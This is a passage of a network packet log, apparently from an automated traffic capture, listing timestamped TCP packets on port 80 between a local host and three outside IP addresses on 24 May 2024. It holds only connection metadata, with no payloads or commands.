May 24, 2024 13:42:05.015621901 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.015628099 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.015654087 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.015656948 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.015772104 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.016323090 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.016357899 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.016374111 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.016391039 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.016395092 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.016424894 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.016424894 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.016457081 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.016489983 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.016501904 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.016524076 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.016530037 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.016557932 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.016599894 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.017133951 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.017184019 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.017230988 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.017286062 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.017401934 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.017436028 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.017447948 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.017472029 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.017733097 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.017766953 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.017781973 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.017798901 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.017802000 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.017832994 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.017833948 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.017864943 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.017875910 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.017899036 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.017908096 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.017934084 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.017939091 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.018034935 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.018559933 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.018594027 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.018611908 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.018627882 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.018637896 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.018662930 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.018673897 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.018695116 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.018706083 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.018728971 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.018740892 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.018764019 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.018776894 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.018798113 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.018805981 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.018841982 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.019429922 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.019464016 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.019479036 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.019498110 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.019500971 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.019531965 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.019539118 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.019565105 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.019579887 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.019599915 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.019610882 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.019634008 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.019642115 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.019675970 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.020219088 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.020252943 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.020275116 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.020286083 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.020291090 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.020322084 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.020334959 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.020354986 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.020368099 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.020389080 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.020404100 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.020425081 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.020433903 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.020457983 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.020469904 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.020493031 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.021106005 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.021141052 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.021157026 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.021173954 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.021193027 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.021209002 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.021218061 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.021244049 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.021255970 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.021277905 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.021290064 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.021321058 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.023927927 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.023962021 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.023978949 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.023994923 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.023996115 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.024029016 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.024030924 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.024080038 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.024100065 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.024113894 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.024115086 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.024146080 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.024173975 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.024180889 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.024187088 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.024214983 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.024225950 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.024249077 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.024255991 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.024282932 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.024291039 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.024316072 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.024333000 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.024348974 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.024348974 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.024383068 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.024388075 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.024415970 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.024422884 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.024450064 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.024456978 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.024492979 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.024499893 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.024533033 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.024540901 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.024566889 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.024581909 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.024601936 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.024612904 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.024632931 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.024638891 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.024672985 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.024705887 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.024708033 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.024739027 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.024763107 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.024770975 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.024804115 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.024816036 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.024835110 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.024837971 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.024869919 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.024888992 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.024900913 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.024904013 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.024934053 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.024936914 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.024970055 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.024981022 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.025001049 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.025003910 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.025037050 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.025069952 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.025084972 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.025109053 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.025110006 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.025145054 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.025146961 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.025172949 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.025196075 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.025204897 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.025206089 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.025240898 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.025243998 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.025274992 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.025278091 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.025322914 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.025336027 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.025361061 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.025396109 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.025429964 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.025443077 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.025461912 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.025465965 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.025496960 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.025501013 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.025533915 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.025542974 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.025568962 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.025574923 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.025602102 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.025621891 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.025636911 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.025646925 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.025671959 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.025682926 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.025707006 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.025721073 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.025741100 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.025753021 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.025774956 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.025787115 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.025816917 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.026331902 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.026376963 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.026382923 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.026417971 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.026434898 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.026453018 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.026463985 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.026493073 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.026504993 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.026540041 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.026547909 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.026571989 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.026598930 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.026604891 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.026618958 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.026638985 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.026673079 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.026678085 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.026711941 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.027292967 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.027328014 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.027360916 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.027395010 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.027417898 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.027417898 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.027425051 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.027431965 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.027458906 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.027465105 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.027493000 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.027501106 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.027524948 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.027527094 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.027559996 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.027565002 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.027595043 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.027637005 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.028331041 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.028373003 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.028379917 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.028404951 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.028417110 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.028439999 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.028445959 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.028472900 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.028482914 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.028506041 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.028537989 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.028534889 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.028547049 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.028572083 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:05.028583050 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.028604984 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:05.028639078 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:05.028670073 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:05.028702974 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.028742075 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.028760910 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:05.028760910 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:05.028760910 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:05.029162884 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.029196978 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.029230118 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.029241085 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.029263973 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.029304028 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.029311895 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.029347897 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.029359102 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.029380083 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.029386044 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.029413939 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.029489040 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.029489994 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.029804945 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.029838085 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.029871941 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.029892921 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.029902935 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.029915094 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.029934883 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.029942036 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.029969931 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.029994011 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.030004978 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.030024052 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.030040026 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.030050039 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.030075073 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.030102968 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.030108929 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.030143976 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.030154943 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.030154943 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.030178070 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.030203104 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.030210972 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.030266047 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.030697107 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.030730963 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.030747890 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.030766010 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.030786991 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.030806065 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.030867100 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.031168938 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.031203032 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.031235933 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.031239986 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.031260967 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.031270981 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.031276941 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.031303883 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.031333923 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.031338930 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.031356096 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.031372070 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.031384945 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.031445026 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.031874895 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.031907082 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.031935930 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.031969070 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.031969070 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.031996012 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.032004118 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.032011032 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.032037973 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.032053947 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.032072067 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.032079935 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.032104969 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.032119036 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.032140970 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.032164097 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.032183886 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.032751083 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.032783985 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.032816887 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.032847881 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.032855034 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.032864094 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.032887936 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.032896042 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.032922029 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.032928944 CEST	49733	80	192.168.2.4	5.42.66.10
